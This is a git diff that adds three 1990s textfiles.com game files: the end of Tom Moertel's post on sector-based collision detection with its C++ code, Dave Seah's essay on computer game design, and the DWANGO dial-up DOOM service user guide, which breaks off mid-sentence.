hurling their +innocent spaceships into oblivion. + +ANALYSIS: FOUR-SHIFTS vs. ADJACENT-SECTORS + +Before you begin thinking that this shift-and-repeat technique is +terribly inefficient, consider the alternative, checking adjacent +sectors. Let's say you've got a sector in the middle of the screen; +call it S. Objects in S could collide with objects in adjacent +sectors, so you'd have to include all eight of them in your collision +testing of S. How does that affect running time? + +Assume that objects are randomly distributed over the screen and that +there are on average K objects in each sector. Recall that to test +for collisions in each sector, we use a brute-force technique that +requires n(n-1)/2 rectangle intersection operations (check it) for n +objects. Now we can compare the four-shifts method with the +test-adjacent-sectors method. + +* Four-shifts method: each sector is checked by itself, at a cost of +K(K-1)/2 rectangle tests, but the process is repeated 4 times. +Consequently, the cost to entirely check a sector is 4 * K(K-1)/2 = +2K(K-1) = 2K^2 - 2K. + +* Adjacent-sectors method: Each sector is checked only once, but its +eight neighboring sectors are included in the check. Define L = +(1+8)K be the average number of objects in these 9 sectors. So the +cost per sector is L(L-1)/2 = (9K)((9K)-1)/2 = (81K^2 - 9K)/2. + +Now, let's calculate the ratio of the two methods' expected +number of rectangle tests: + + cost of adjacent-sectors (81K^2 - 9K)/2 + R = ------------------------ = -------------- + cost of four-shifts 2K^2 - 2K + +Note that the limit of R as K -> Infinity is 20.25. Asymptotically, +then, the four-shifts method is about 20 times faster than the +adjacent-sectors method. Admittedly, it's unlikely you'll have an +infinite number of objects on the screen. That fact begs the +question, how much faster is the four-shifts method for the more +common cases in which there are, on average, one, two, or three +objects in a sector? Answer: For one object, it's *much* faster; for +two, 38 x faster; for three, 30 x faster. + +The four-shifts method needs to perform *no* tests when there's only a +single object in a sector---a very common case. The adjacent-sectors +method, on the other hand, needs an average of 36 tests to handle the +same situation. + +THE CODE + +Here it is. Enjoy. And, let me know how it works on your +platform. If you port the testing-timing harness, please send me +the timing results. + +The code is broken into sections. They are, in order: + + front matter introductory comments + declarations defines constants and parameters + test code testing/timing harness (Mac specific) + sector code code that puts objects into sectors + helpers functions that are used by intersection code + intersection code uses sector and helper code to determine + object intersections and, hence, collisions + +======= begin +// Sector-based collision detection routines & +// timing code. +// +// Tom Moertel 21-Jun-94 +// +// Results for a 25 MHz 68040 Macintosh (not +// exactly a screamer) and an 80 MHz PPC 601 +// Power Macintosh 8100 (this one screams): +// +// tests/s +// object count -68K- -PPC- +// +// 0 611 7640 +// 50 340 4020 +// 100 189 2060 +// 200 81 788 +// +// where a "test" is defined to be a complete +// check of all objects, determining for each +// object whether it is involved in a collision +// (and if it is, with what other object). +// +// NOTES +// +// For this job I made all objects 30x30, but +// the code will work for arbitrarily-sized +// objects, with the restriction that objects +// are smaller than half of kSectorSize. +// +// This code is far from optimized. I didn't +// even bother to run it through a profiler. +// With a little work, it could probably be +// twice as fast. +// +// LEGAL STUFF +// +// Feel free to use this code in your own +// projects, but please give me credit. +// +// Copyright 1994 by Tom Moertel +// moertel@acm.org +// +// PORTING +// +// Most of the "real" code is portable C++, +// but the testing code uses some Mac- +// specific calls, namely Microseconds() +// and a few graphics and windowing calls. +// To port to the timing code to your platform, +// redifine Clock_us() to return the current +// state (count) of a fast internal clock in +// microseconds. The Macintosh drawing +// code will automaticaly compile out on +// non-Mac platforms, so if you want pretty +// pictures, you'll have to roll your own. + +#include +#include +#include +#include + +#if defined(macintosh) || defined(__MWERKS__) +#include +#include +#include +#include +#include +#endif + +// define compilation parameters + +#if defined(__MWERKS__) || defined (__SC__) +#define BRAIN_DEAD_INLINING // define this to declare "hot" +#endif // functions as macros instead + // of C++ inline functions + +// define test parameters + +enum +{ + kMaxObjects = 200, // more than you're likely to need + kRectSize = 30, // each object is 30 x 30 pixels + kTBase = 1000000L, // timing is in microseconds + kTestLength = 30*kTBase,// 30 seconds per experiment + kCycleLength = 50 // inner timing loop cycles 50 times +}; + + +// types + +#if defined(powerc) || defined (__powerc) +typedef int scalar; // fast integer type +#else +typedef short scalar; // fast integer type +#endif + +// sprite object + +struct obj +{ + scalar x, y; // coords + obj* sector_link; // link in sector list + obj* obj_link; // link in obj list + // ... other members ... +} ; + + +// module-scope globals + +static obj gObjects[kMaxObjects]; +static Boolean gCollisionArray[kMaxObjects]; + +// forward declatations + +static void _DetermineCollisions(); +static void _ShowLastIteration(scalar numObj); +static void _RandomizeObjects(scalar numObj); +static void _RunExperiment(scalar numObj, Boolean drawQ=false); + +//================================================================== +// test code +//================================================================== + +// returns a long representing a count of internal clock "ticks" + +#if defined(powerc) || defined (__powerc) +inline long Clock_us() { return TickCount() * (kTBase/60); } +#else +long Clock_us() +{ + static UnsignedWide base; + static Boolean initQ = true; + if (initQ) + Microseconds(&base), initQ = false; + UnsignedWide x; + Microseconds(&x); + return (x.lo - base.lo); +} +#endif + +void main() +{ + srand((unsigned int) Clock_us()); + + cout << "Collision testing..." << endl; + + _RunExperiment( 0, false); + _RunExperiment( 50, false); + _RunExperiment(100, false); + _RunExperiment(200, true ); // draw this one +} + +static void _RunExperiment(scalar numObjects, Boolean drawQ) +{ + if (numObjects > kMaxObjects) + return; // too many + + cout << (int) numObjects << " objects: "; + + long endTime = Clock_us() + kTestLength; + long iterations = 0; + + while (Clock_us() < endTime) + { + // don't count initialization time + + { + long t0 = Clock_us(); + _RandomizeObjects(numObjects); + endTime += Clock_us() - t0; + } + + // test/timing loop + + scalar i; + for (i = 0; i < kCycleLength && Clock_us() < endTime; i++) + _DetermineCollisions(), iterations++; + } + + long totalTime = kTestLength + Clock_us() - endTime; + + if (drawQ) + _ShowLastIteration(numObjects); // draw results + + cout << (int) iterations << " in " << (int) totalTime + << " us: "; + + float usec = totalTime; + float iter = iterations; + + cout.precision(2); + cout << usec/iter << " us/iter, " + << ((float)kTBase)*iter/usec << " iter/s" << endl; +} + +//================================================================== +// sector code +//================================================================== + +#define CEILING_DIV(x, y) ( ((x)+(y)-1) / (y) ) + +// define constants +// +// Note that to work properly, kSectorSize must be greater +// than twice the length of the largest side of any +// object's bounding box. E.g., if your objects are +// 30x30, then the sector size should be > 60 -- 64 would +// be an excellent choice. + +enum { + kSectorSize = 64, // length of a sector's side in pixels + kLog2SectorSize = 6, // log2(kSectorSize): for shifting + + kScreenWidth = 640, + kScreenHeight = 480, + + kNumXSectors = CEILING_DIV(kScreenWidth, kSectorSize) + 1, + kNumYSectors = CEILING_DIV(kScreenHeight, kSectorSize) + 1, + kNumSectors = kNumXSectors * kNumYSectors +} ; + +// define a module-scope array of linked list heads, +// one for each sector + +static obj* gSectorArray[kNumXSectors][kNumYSectors]; + + +// call this routine to place all objects into the +// appropriate sectors +// +// (assumes all objects are kept in a linked list and +// GetMyFirstObject() returns the head of this list) + +extern obj* GetMyFirstObject(); + +static void UpdateSectors(register scalar xoff, register scalar yoff) +{ + // reset the sectors' linked lists + + obj** theArray = (obj**) gSectorArray; // for 1-D access + for (scalar i = 0; i < kNumSectors; i++) + *theArray++ = NULL; + + // put each object in its sector's linked list. + + for (obj* o = GetMyFirstObject(); o != NULL; o = o->obj_link) + { + // get the list head for the sector in which o resides + + register obj** thisSectorListHead = + &gSectorArray [ (o->x + xoff) >> kLog2SectorSize ] + [ (o->y + yoff) >> kLog2SectorSize ]; + + // add o to this sector's linked list + + o->sector_link = *thisSectorListHead; + *thisSectorListHead = o; + } +} + + +//================================================================== +// helpers +//================================================================== + +// Draw an object (rectangle). If the object is involved +// in a collision, it is drawn as a rectanglular outline; +// otherwise it's drawn as a solid gray rectangle. +// [Macintosh specific] + +static void _DrawObject(obj* o, Boolean collidedQ) +{ +#if defined(macintosh) || defined(__MWERKS__) + + static Pattern myBlack = { 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff }; + static Pattern myGray = { 0xaa, 0x55, 0xaa, 0x55, + 0xaa, 0x55, 0xaa, 0x55 }; + Rect r; + SetRect(&r, o->x, o->y, + o->x + kRectSize, o->y + kRectSize); + + PenPat(collidedQ ? &myBlack : &myGray); + + if (collidedQ) + FrameRect(&r); + else + PaintRect(&r); + +#endif // macintosh +} + +// conciliate skeptics by showing them that the +// code did, indeed, work properly +// [Macintosh specific] + +static void _ShowLastIteration(scalar numObjects) +{ +#if defined(macintosh) || defined(__MWERKS__) + + Rect rBounds = { 0, 0, kScreenHeight, kScreenWidth }; + OffsetRect(&rBounds, 0, GetMBarHeight()); + WindowPtr wind = NewWindow(nil, &rBounds, "\p", true, plainDBox, + WindowPtr(-1), false, 0); + GrafPtr savePort; + GetPort(&savePort); + SetPort(wind); + + for (scalar i = 0; i < numObjects; i++) + _DrawObject(&gObjects[i], gCollisionArray[i]); + + while (!Button()) + ; + + SetPort(savePort); + DisposeWindow(wind); + +#endif // macintosh +} + +static scalar _RandScalar(scalar max) +{ + return (((unsigned long) max) * + ((unsigned short) rand())) / (RAND_MAX+1); +} + +static void _RandomizeObjects(scalar numObjects) +{ + obj* o = gObjects; + + for (scalar i = 0; i < numObjects; i++, o++) + { + o->x = _RandScalar(kScreenWidth-1); + o->y = _RandScalar(kScreenHeight-1); + o->obj_link = o + 1; + } + + (--o)->obj_link = NULL; +} + + +//================================================================== +// intersection code +//================================================================== + +obj* GetMyFirstObject() { return &gObjects[0]; } + +// local helpers + +static void _ClearCollisionArray(); +static void _UpdateCollisionArray(); + +// determine all collisions + +static void _DetermineCollisions() +{ + _ClearCollisionArray(); // erase the slate; no collisions yet + + scalar shift = kSectorSize / 2; + + // We need to try four differnt "shifts" of the + // sector grid to detect all collisions. Proof of + // why this is so is left as an excercise for the + // reader. (Hint: consider an analogous 1-D case.) + + UpdateSectors( 0, 0), _UpdateCollisionArray(); + UpdateSectors( 0, shift), _UpdateCollisionArray(); + UpdateSectors(shift, 0), _UpdateCollisionArray(); + UpdateSectors(shift, shift), _UpdateCollisionArray(); +} + +// "hot" functions that are used in inner loops + +#ifdef BRAIN_DEAD_INLINING + +#define _Abs(a) ((a) < 0 ? -(a) : (a)) + +#define _IntersectQ(o1, o2) \ + (_Abs(o1->x - o2->x) < kRectSize && \ + _Abs(o1->y - o2->y) < kRectSize) +#else + +inline scalar _Abs(scalar a) +{ + return a < 0 ? -a : a; +} + +inline scalar _IntersectQ(obj* o1, obj* o2) +{ + return _Abs(o1->x - o2->x) < kRectSize && + _Abs(o1->y - o2->y) < kRectSize; +} + +#endif // BRAIN_DEAD_INLINING + + +static void _ClearCollisionArray() +{ + memset(gCollisionArray, 0, sizeof(gCollisionArray)); +} + +static void _CalcCollisionsInSector(obj* objList); + +static void _UpdateCollisionArray() +{ + for (scalar x = 0; x < kNumXSectors; x++) + for (scalar y = 0; y < kNumYSectors; y++) + _CalcCollisionsInSector(gSectorArray[x][y]); +} + + +// We've got the head of the linked list for a +// sector. Let's see if there are any objects +// in it that are involved in collisions. +// +// Use the plain, old O(n^2) technique to compute +// the collisions in this sector. If the grid size +// was appropriately chosen, n should be very small; +// in many cases it will be 0 or 1, obviating +// collision tests altogether. + +static void _CalcCollisionsInSector(obj* objList) +{ + if (objList == NULL || objList->sector_link == NULL) + return; + + for (obj* o0 = objList; o0->sector_link; o0 = o0->sector_link) + for (obj* ox = o0->sector_link; ox; ox = ox->sector_link) + if (_IntersectQ(o0, ox)) + gCollisionArray[ o0 - gObjects ] = + gCollisionArray[ ox - gObjects ] = 1; + + // Note that at this point we know object o0 + // collided with object ox, so we could use that + // information to, say, determine what kind of + // explosion is appropriate. Here, however, I + // just toss the information away. +} +======= end + +Regards, +Tom Moertel Interests: Software Engineering, + Symbolic Mathematics, +MSA, CSG Technologies Division Algorithms, +thor@telerama.lm.com Itchy-Scratchy Theory. + + diff --git a/textfiles.com/games/design.txt b/textfiles.com/games/design.txt new file mode 100644 index 00000000..ff485aab --- /dev/null +++ b/textfiles.com/games/design.txt @@ -0,0 +1,372 @@ +Some Thoughts on Computer Game Design +========================================= + +I've been thinking about what it is about my favorite games that +I like...I've thought about Game Design on and off over the years, +and have begun to pull some things together for myself. + +Here's a start of a breakdown...feel free to add upon it and respond to +individual ideas...I'd like to quote different reactions to these ideas in a +non-profit hypermedia project I'm working on at school, and thought the life +of these groups would have much to add. + +Dave Seah +(dis6218@ultb.isc.rit.edu, pccdaves@aol.com) + +--- cut here --- + +The Player + +Why do we play games? We like challenges, and we derive +pleasure when we overcome them. Games provide a safe context +in which we can express our fantasies and dreams. We achieve +a sense of stature and accomplishment by engaging in +stimulating gameplay. Computer games are no different in the +way they provide challenge and stimulation. As game +designers, though, we are responsible for designing every +part of every interaction within the self-contained computer +world. The player has to be able to find and overcome the +challenges we design into a game without feeling unfairly +constrained or manipulated. + +For games in which the player plays an active role in a +simulated social environment, emphasize the hero qualities +of the character. By controlling the character throughout +the game, the player establishes an alter ego. That +joystick-controlled blip on the screen is the player, for +all intents and purposes. The game environment becomes the +world, and the player is the protagonist, with the potential +to become a hero. Heros are always above average in their +abilities, for it enables them to go forth and kick-ass in a +definitive manner. + +The protagonist must undertake some form of the hero's +journey. This can take the form of a developmental cycle, as +it is in role playing games (RPGs.) A new character in the +Ultima series, for example, starts out as a naked +stripling, equipped with the wimpiest of weapons and armor. +The character grows in experience by exploring the world, +slaying monsters and engaging in quests. Eventually, the +protagonist achieves a level of ability that is truly epic. +The player experiences a vicarious sense of accomplishment +through the actions and ultimate success of his/her +character. + +In games that emphasize manual dexterity, the hero's journey +is externalized. In an arcade game, the player usually +controls some kind of ship. The ship itself may already be +imbued with awesome weaponry and abilities; by surviving and +wreaking destruction on the computer world, the player is +shown to be a hero (or at least skilled) to his or her +peers. + +A good example is the original version of Wing Commander. In +this game, a chalkboard kept track of how many enemy kills +were attributed to the player's character. It lists the +game's non-player characters (NPCs) ranks as well, and the +player could see how well he is doing as the story +progresses. As the player grows more experienced, he moves +up in the ratings. The chalkboard also makes it possible for +players to compare their skills with their friends. "I +fragged 105 furballs before I finished the game" was a +common boast on the computer networks. In Wing Commander II, +the chalkboard was moved to a less prominent area, and the +emphasis was placed on the wooden story line, drawing the +player into a simulated social environment. + +Game Environment + +As the player establishes and sets goals in the context of +the game, the game must respond in kind by providing some +kind of feedback. Without feedback, the player will feel +lost and impotent, trapped inside an artificial world +instead of participating in it. The interactive gaming +experience must support the actions of the player, not +thwart them. + +To maintain the illusion of a functioning, living world, the +game designer has to ensure that there is some minimum +interaction between the player's character and the simulated +environment. As an example, the Super Nintendo version of +Zelda provides lots of audio-visual feedback. As the +player's character walks through tall grass, a rustling +sound is heard, and the character's body below the waist is +swallowed up. When walking in a shady forest, shadows fall +across both the ground and the character. NPCs on the screen +react to the presence of the player in a variety of ways or +not at all. The player is drawn into the game because the +game environment interacts with his/her character. The high +level of interaction between player character and game +environment is enjoyable in itself. + +The player should also receive some kind of feedback on +his/her progress. In arcade games, this is accomplished with +some kind of indicator (score, level, etc). The player +ideally feels that he or she is in control at least most of +the time. All hell may be breaking loose, but the player +should know how much that is affecting his/her character. +The rule of thumb is that for every action, there should be +some kind of feedback or reaction. + +The game universe should have well-established conventions +of how things work -- its own "law of physics." If the +laws change, there must be a rational explanation. Arbitrary +changes, especially those that impact the player's +character, can have a negative impact on the gaming +experience. + +Premise and Player's Expectations + +The player must know what to expect from the game world, +journey or no journey. Usually, some rudimentary explanation +is given to explain the game world. Ignoring purely abstract +games like Go or Checkers, the game designer must establish +both premise (story) and setting. The premise helps +establish an initial motivation for why the game is the way +it is, and the setting helps establish the tone. This can +take rather trivial forms, but if the scope of the story +matches the scope of the game, then I have no argument +against it. By "scope of the game", I mean the range of +possible associations and interactions. A complex political +thriller as the story and setting for a straight shoot-em-up +arcade game doesn't carry much credibility. Likewise, a game +that is based on a popular movie is asking for trouble. +People will carry their memories of the movie over to their +expectations of the game, and are setting themselves up for +disapointment. + +For the designer's expectations of the game, it is important +to set the challenge clearly. You know what kind of +experience you want to deliver, so make that clear right up +front when establishing the story and setting. The premise +(or premises) of the game will vary wildly. If a game is +intended to be a visually confusing, surreal exploration of +the inner mind, then let it be said up front. If the game is +intended to be an accurate, uncompromising World War II +simulation of the Battle of the Bulge, then different +expectations are set. The designer must set these guidelines +explicitly, and adhere to them. The game experience should +fully support the premise and the player's expectations. + +Consider two space gaming genres: the side-scrolling +"shoot-em-up" (or shooter) and the space combat simulator. +In a classic shooter like Defender, the premise is pretty +simple: Destroy all the waves of attacking aliens and +protect your people. The gameplay is simple to understand, +though the game itself requires superb eye-hand coordination +of a level that is seldom seen today. For the gamer, the +premise is secondary to the nerve-racking adrenaline rush of +playing which is the main reason for playing. As a more +recent example, the space combat simulator X-Wing is based +on the Star Wars universe. Since it is based on the popular +movie, players expect a lot from the game. The premise is +that you are a rookie joining the Rebel Alliance. Although +you can jump right into the missions and just start blasting +TIE fighters, you are encouraged to go through the training +process. Animated sequences and accurate portrayal of the +Star Wars universe build the framework in which you play the +game, and an included novella sets the tone for your tour of +duty: You are a new recruit, and the Alliance is being +ruthlessly hunted down by the Imperial fleet. You are not +just flying any old spacecraft...you are flying an X-wing, +escorting a crucial shipment of grain through dangerous +Imperial patrols! There is a sense of an expanded game +universe that exists outside the confines of the game, +carefully reinforced with information from the mission +briefing screens, but the story isn't stated overtly. You +are not Luke Skywalker, but you know that he's out there +somewhere fighting the same cause. + +Balancing of Goals + +From the initial motivation, the player can form (or be +informed of) several long-term goals. The default goal is to +win the game. Other long term goals may be to "find the +Golden Sword" or "Return Peace to the Land." Players will +formulate a number of short-term goals along the way. "To +find the Golden Sword, I have to talk to everyone," or "To +return peace to the land, I need to collect the Peace +Crystals." Shorter term goals might be, "To get to the +next level, I have to blow up all these ships," or "I have +to find the Power Booster if I want to survive!" Some +short-term goals are standing goals. These goals are always +on the player's mind, as they continually contribute to the +well-being of the character. For example, "I better not get +hit by enemy blaster fire, or I'll lose a ship." The game +designer manages the difficulty of these goals, and the +player juggles them. + +For flexibility, I like to allow flexible goal completion. +In other words, I like to allow some leeway in the order +that goals are brought to completion. There is no single +order that guarantees success. Putting together a structure +that allows this is not trivial, and it depends on the kind +of game. To take an old example, consider the classic Apple +II game, "Castle Wolfenstein." The object (long term goal) +of the game is to escape from a Nazi castle during WWII, +initially armed with nothing but a pistol. Finding the "War +Plans" was a secondary long-term objective. Since the game +begins with the player trapped in a guarded room, clad in +bright purple prisoner duds, the short term goal is to get +out of the room without getting captured or shot. As the +player moves from room to room, the standing goals are +finding uniforms, keeping stocked with ammunition, and +keeping the SS from getting on your tail. + +Balance short term with long term goals. You want short term +goals, punctuated by moments of sheer terror. This is part +of the "hero building" process. The short term goals +should be immediate and compelling. This can be something as +simple as "blow up more bad guys." Long term goals should +be what drives the short term goals, giving them purpose and +meaning. Not all games need purpose and meaning. DOOM is a +good example: the gameplay is so compelling that you have no +time to think about any long-term goals other than, +"survive." It is the most absorbing game of its kind on +any platform, in my opinion. + +Another aspect of goal-setting that I like is the idea of +open play. In the case of Castle Wolfenstein, the goal of +the game is to escape with the war plans. However, the +player can take as long as he/she wants. In fact, the player +can choose to use the game as an open play environment, +effectively creating a new game. A common game was "Nazi +hunting", in which players would just run around shooting +everyone. Other players would try to get out of the castle +as quickly as possible, ignoring all other aspects of the +game. Castle Wolfenstein did not punish the player, because +its structure was open enough to contain these kind of +alternate games. + +Gameplay + +Part of the pleasure in a game comes from interacting with +it. I enjoy controlling characters on the screen, making +them solve problems or overcome challenges. I also derive +satisfaction at overcoming those challenges with skill and +dexterity. I set a limited goal ("solve the puzzle") and +then I reach it ("puzzle solved.") + +The player should be able to do any action that seems +reasonable, given the premise of the game and the goals +formed based on those premises. If there is a situation in +which the natural response would be to run like hell, then +the character should be able to do just that. There should +be a counter or defense for every move. If you are shot at, +you should be able to move out of the way. If attacked, you +should be able to counter-attack, or at the very least be +allowed to escape. In the event that the player has just +made some horrible tactical mistake, this should be made +very clear so the player knows that it was "his fault." +There should also be the knowledge that, "there is another +way." + +The player will also want some way to gain an advantage, +however temporary, by changing the rules slightly. For +example, in the arcade game Assault, your highly- +manueverable tank can enter "jump zones" that propel it +above enemy vehicles on the ground, giving the player a +unique advantage. Players want the biggest guns and the best +armor. Give them a way of earning that advantage, and then +give them a reason for really needing it. + +When placing constraints on the player's action, there must +be a rationale. The premise may help establish why these +constraints exist. If the player's magic hammer has been +able to smash all walls, then it has to work all the time +unless a "Special Wall" is encountered. The hammer must +react with the wall in some way, perhaps signaled by a +different noise or animation sequence. If something has +worked in the past, it should work the same way in the +future, unless some kind of new variable has entered into +the picture. Make that variable clear, but you don't have to +give away all its secrets. + +Don't forget to emphasize the heroic, epic quality of the +player's struggle. Explosions must be large and gratifying. +Climactic duels with the villian must satisfy! The player +wants to look good, so provide those opportunities that +reward dexterity, cleverness, and experience. + +Japanese arcade games often reward pattern memorization. +Instead of providing a way out, many of the Japanese arcade +games rely heavily on memorization to advance. The reward is +for experience, not necessarily cleverness. By varying a set +of patterns, you can make the game more dynamic and still +reward memorization. For example, in Prince of Persia, +fighting the first few swordsmen is fairly easy if you +recognize a pattern in their fighting style. Later swordsmen +have slightly different appearances, and have different +patterns. I remember encountering the fat swordsman for the +first time and getting slaughtered when I fell in my old +patterns. The best patterns, in my opinion, are the ones +that don't rely on a fixed sequence of actions or moves. The +player instead recognizes of a particular tactic or set of +circumstances that allows him/her to act prudently, while +retaining flexibility in the goal-setting process. An +excellent example is X-Wing. A particular Imperial tactic +that is used over and over is the launching of TIE bombers +after a wave of TIE fighters. The TIE fighters are a mere +annoyance compared to the bombers, but the Fighters must be +dispatched lest they attack lightly-protected Rebel vessels. +Depending on distance and mission, the X-Wing pilot has to +react based on the experience that has been drilled into him +or her. + +Graphics and Sound + +The demand for high quality graphics and sound in today's +oftware has advanced hundreds of times in capability +since the early days of personal computing. We are no longer +required to use our imagination to equate a blocky, low- +resolution screen image with a rich fantasy world. Today, we +fully expect to see recognizable animated images, and we +increasingly demand music and sound. Games have become less +abstract and more complex, made possible by faster computers +and near-photorealistic graphics. + +The visual and audible aspects of a game should mesh +smoothly with all previous aspects of the game. They should +not be the primary focus of the game. Great graphics and +sound should enhance an already great gaming experience, not +usurp it. A mediocre game with great graphics and sound +becomes a "technology showcase" with limited play value. A +brilliantly-conceived game with poor audiovisual design +limits its mass appeal. + +Having "good" graphics does not necessarily require +millions of colors and high resolutions. The graphics must +reflect the premise and setting of the game. They must be +clear, well-rendered, and stylistically consistent. Great +graphics will transcend the limitations of resolution and +color. The games from LucasArts are among my favorites. +Although they are seen on a 320x200, 256 color IBM-PC +display, the characterization and visual design stands on +its own. The chunky pixels and blocky graphics fade from +consideration because the game successfully pulls you into +its world. + +Engagement of the Senses + +To engage the senses is to invite the player into the game +world. The vicarious experience of the player must be +consistent in presentation and context. This is a balance +between all the elements discussed above: Player and +Environment, Story/Setting and Player Expectation, Goal- +Setting and Gameplay, Graphics and Sound. + +The game designer can also exploit second- and third-order +experience. These are the subtler details that are not +immediately obvious, but nevertheless contribute to the +depth of the gaming experience (the term "second-order" is +a mathematically expression. In engineering, it distinguises +between a simple model and a more accurate but complex one.) + +An excellent example of this is Street Fighter II. On the +surface, this game is just another chop-sockey kung-fu +fighting game. This is a simple categorization. When it was +first introduced, it distinguished itself from other games +by offering silky-smooth, state-of-the-art animation. This +naturally attracted players. What distinguished SF2 from +other "hit-the-button punch-punch-punch" games was its +outstanding second-order design. It wasn't enough to just diff --git a/textfiles.com/games/dwango.txt b/textfiles.com/games/dwango.txt new file mode 100644 index 00000000..bafc1e9a --- /dev/null +++ b/textfiles.com/games/dwango.txt @@ -0,0 +1,196 @@ +DWANGO v2.0 - The DOOM Wide-Area Network Game Organization! +Copyright (C) 1994 IVS Corporation + + +DWANGO is a revolutionary, new way to play games. It's all about networking +and playing other people all around the world, no matter where they are. +You can chat with each other, create teams, join teams and jump into any +DOOM, DOOM2 or HERETIC world you want -- either in DeathMatch or in Co- +operative mode. + +The problem common to networking computer games is that the other people +that you want to play might not want to play at the exact same time that you +do. Or, you might get tired of beating the same old person time after time +because you don't know anyone else in your area with the same DOOM problem +that you have. With DWANGO, you get DeathMatch-On-Command! Just dial up and +challenge someone to a match -- even if it's 3:00 in the morning! + +IMPORTANT NOTE: Since DWANGO is a very new service, you need to dial a +long-distance number to access it. The area code is 713, which is in +Houston, TX. If you can't afford the charges (or don't WANT to), please +don't run DWANGO. If you're under 18, please get your parent's permission +before you start racking up long-distance bills-from-hell. Otherwise, if +you're an avid MoDOOMer, you'll appreciate the convenience of DWANGO. +You will get a half-hour of FREE time on the server, but to continue using +DWANGO, you will need to enter your credit card information in the Billing +section and incur a $20 start-up fee. Then you will need to buy time, +which you can choose in the Billing section. + +To get started, it's easy. Just type DWANGO in your DOOM, DOOM2 or HERETIC +directory. Make sure that you run DWANGO from the directory of the game +you want to play, or DWANGO won't have any idea which game you're using. +The best way of running DWANGO is to copy all DWANGO-related files into +the game directory -- there's DWANGO.EXE, DWANGO.STR and DWANGO.TXT. Then, +run DWANGO from there. + +First off, DWANGO needs to know your configuration, so when you first run +DWANGO, the Create Configuration panel will come up. You need to enter +your Baud Rate, COM Port, Area Code and Current Modem. + +For baud rate, start off with the fastest baud possible first, 38400. +Select the COM port to which your modem is connected. If your phone line +has call-waiting, you can disable it by selecting the Disable CallWaiting +option. If your disable code is not the default "*70", you can type the +correct one for your area. Next, you need to enter your area code. Finally, +you need to choose the type of modem you are using. Press F1 to choose +your modem from a list of popular modems. Finally, press the F10 key to +tell DWANGO that you're finished configuring. + +Now, DWANGO is ready for you to log in. But you're not registered as a +New User yet, so you need to press F1 at the Login panel to create a New +User account. + +The Username is your "handle" online; it doesn't need to be your real name. +So, you could call yourself "killer" if you think you're really good. Or, +call yourself "babyboy" if you're new to all this DeathMatch stuff. Press +ENTER after editing an item and you will be moved to the next item. If you +need to go back and edit your information, just use the cursor keys to move +back to the item. The Password field will be your permanent password, so +choose something you'll remember easily. Every time you log in to DWANGO +after this time, you'll need to enter both your Username and Password to +get into the system. Press F10 when you've filled all New User Account +fields to log onto DWANGO! + +DWANGO will then Initialize your modem, then Dial DWANGO. When the DWANGO +Server answers, DWANGO will Attempt to connect to the server. If connection +doesn't happen within 20 seconds, something is wrong with either your +Baud Rate or your modem init string. First, try to change your baud rate +by re-running DWANGO with "-config". The -config parameter will let you +re-enter your Configuration Information and create a new DWANGO.CFG file. + +When you finally connect to the DWANGO Server, the main screen will come +up and all the users online will start entering your userlist at the top of +the screen. The information listed for each person is the Name of the +person (their handle), which team they belong to, which PWAD they are +playing, what their current status is (Available or Playing), which game +they want to play (DOOM, DOOM2 or HERETIC), which version of the game +they're using (you must have matching versions to play on the same team), +and finally their User Type. If you're new to DWANGO, you will be a newbie. +After you've paid your start-up fee of $20, your status will be Normal. + +Any time any users enter DWANGO, leave DWANGO, start a team, play a game, +or anything that could change a user's status, that change will be reflected +in the userlist at the top of the screen. + +As soon as you login for the first time, the DWANGO Server will look at the +information you entered for the New User Account you requested. The Server +will inform you if you have been accepted or rejected. For more information, +you can call 1-800-2DWANGO, or 1-800-239-2646. If you are rejected, the +New User panel will come up again for you to re-enter your information. One +reason you could be rejected is by typing a handle or password with a space +character in it. + +If you've been accepted, then you're in! You will begin to see text start +scrolling up the screen from the other users online. They are talking to +each other -- feel free to join in. Go ahead and type, "I'm new here!" and +press the ENTER key. Someone will strike up a conversation with you and +maybe ask you to play. Everything you type on the message line will be sent +to the server when you press ENTER. This area is called the Lobby. + +If you want to type a message that only one person can read, type their +name, a space, then your message. If you wanted to tell "shadow" that he +really needs a beating, you would type "shadow you really need a beating!". +What shadow would see is," TELLs you: you really need a beating!". + +If you log onto the server and you're the only one there, but there's a +team already playing and you want to join in, you can send a message to a +person on the team, or to all the people on the team. Just type the name +of a person on the team, or the team name, a space, then your message. An +example would be,"level7 i want to join in!". If the team name is "level7", +everyone on the team would get the message. If they decide to let you in, +then you would see them stop playing their game and start talking to you +in the Lobby. + +If someone creates a team, you will see a message stating the team +information. If you want to play on that team, press F3 to Join. This will +bring up a Join Team panel -- use the arrow keys to choose the team you +want to join. + +If you want to create a team, press F2 and the Create Team panel will come +up. The most common default options are listed. You can choose whether +this will be a DeathMatch or Cooperative (yeah, right) game, which skill +level to use, if you want monsters on the level (no monsters is the norm), +which map/level and episode you want to play, and the team name. You can +edit any of these options by using the cursor keys to navigate the panel +and press ENTER to change a field. If you want to play a PWAD file, press +the F1 key and choose which PWAD from the list of PWADs that you have. You +must have a WADS subdirectory off the current directory you're in to choose +PWADs. + +To create the team, press the F10 key. Soon you will see people joining the +team you created! When you have enough people on your team, press the F10 +key to leave the Lobby and launch the game you're going to play (DOOM, DOOM2 +or HERETIC). + +When you come back from your game, DWANGO will reload the userlist for you, +since some people may have left or joined the server while you were playing. + +If you want to change your status from newbie to Normal, you need to enter +Billing. Since this is your first time, select "Set or Change billing +preferences" from the menu. This is where you enter your VISA or Mastercard +credit card number and expiration date. You also need to enter your name +as it appears on the credit card. If you don't have a credit card to buy +time or pay your start-up fee, you need to call 1-800-2DWANGO so they can +work something out with you. + +Press the F10 key to process your credit card information. If the server +comes back with Credit Accepted, then you'll see your status change from +newbie to Normal. You are now an offical DWANGO member. Welcome! + +Now, you need to buy time so you can play. Prices may change during holidays +so check the Buy Time on your Credit Card option and you will get the latest +prices. You buy time in blocks, from 2 hours of play time up to 25 hours. +Whichever you can afford, use the cursor keys to choose which one you want. +Press the ESC key if you're just browsing. IMPORTANT: your time is used up +ONLY WHEN YOU ARE PLAYING A GAME. Just sitting in the lobby chatting with +others doesn't take away from your time. + +When you choose the amount of time, your credit card is used for the +transaction (you entered your credit card number when you paid your start- +up fee). No hassles! Unless, of course, the server comes back and tells +you that your credit was rejected. As always, call 1-800-2DWANGO to find +out the solution to your problems. + +If you want to change the credit card you use to purchase time, choose the +"Set or Change billing preferences" option and enter information for a +different credit card. This will update your info on the server. + +In the near future, DWANGO will accept authorization numbers to buy time +(you would most likely call a 1-800 number to purchase time, which would +give you an authorization number to use in 